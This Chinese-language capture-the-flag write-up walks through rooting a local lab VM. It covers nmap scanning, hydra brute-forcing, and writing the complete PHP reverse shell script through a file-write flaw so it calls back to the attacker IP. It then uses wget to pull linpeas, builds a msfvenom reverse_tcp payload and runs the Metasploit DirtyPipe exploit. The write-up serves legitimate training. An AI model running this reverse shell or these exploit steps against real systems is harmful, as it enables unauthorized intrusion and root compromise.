端口扫描

主机发现

sudo nmap -sn 192.168.162.0/24

新增的192.168.162.144为待渗透靶机

竟然开了两个http服务?

web

访问网页,发现了一段话,发现一个叫jaybeale的人名还有一个类似团队名inguardians 。

扫目录,发现有四个。robots.txt里面没东西,graffiti.txt里面有一个人名Morpheus

然后其他两个文件都没有权限访问。emmm然后80端口就下不去了。看看81端口,发现是一个登录界面,是get请求,也许可以获得的两个人名来爆破

新建一个users.txt里面输入两个人名

hydra -l users.txt -P /usr/share/wordlists/rockyou.txt 192.168.162.144 -s 81 http-get

发现爆破不出来,看看WP,发现扫目录竟然漏了一个目录,还有一个graffiti.php目录,看来-x参数还要加入php。

Getshell

抓个包看看,发现有传参,但是貌似不能包含/etc/passwd,利用不了。试了一下也没有远程文件包含。但是发现message里面的信息会残留,但是也没有xss啊。但是当我们打开graffiti.txt,发现我们在php界面输入的内容都会显示,也就是说我们输入的东西会生成在file参数的文件里。

试着写一个反弹shell,发现访问之后触发不了。看了一下好像有些字符没传过去,直接传

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.162.138'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();


if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;

} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {


if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}

}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

file改成reverseshell.php,因为是追加在后面所以要换一个文件名尝试。访问发现连接成功。

python3 -c "import pty;pty.spawn('/bin/bash')"

看看/etc/passwd发现有trinity,cypher两个用户

提权

既然拿到了www-data的权限,翻一翻/var目录,在/var/nginx/html目录发现一个

.htpasswd。发现一个用户hash。

cypher:$apr1$e9o8Y7Om$5zgDW6WOO6Fl8rCC7jpvX0

竟然爆不出来吗(悲

没办法了,传一个linpeas

在/tmp目录wget http://192.168.162.138/linpeas.sh

chmod +x linpeas.sh
./linpeas.sh

为什么我运行peas得到的信息和别人的都不一样。。。无论是win还是lin,算了用msf

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.162.138 LPORT=1235 -f elf>shell.elf

转移shell到msf

background在后台运行

search suggester
use 0
set session 2(看自己后台运行的是哪个session)
run

报告了一堆可利用的漏洞

use exploit/linux/local/cve_2022_0847_dirtypipe
set LHOST 192.168.162.138
set LPORT 1235
set session 2
run

然后发现我们已经是root了

碎碎念

虽然靶机的标注难度是中等偏难,但其实打下来感觉还行,就是linpeas太搞人心态了,msf是真好用(。看了一下其他大佬的WP,graffiti.php那里其实是可以文件包含的,用PHP伪协议来读源码,也可以知道用处。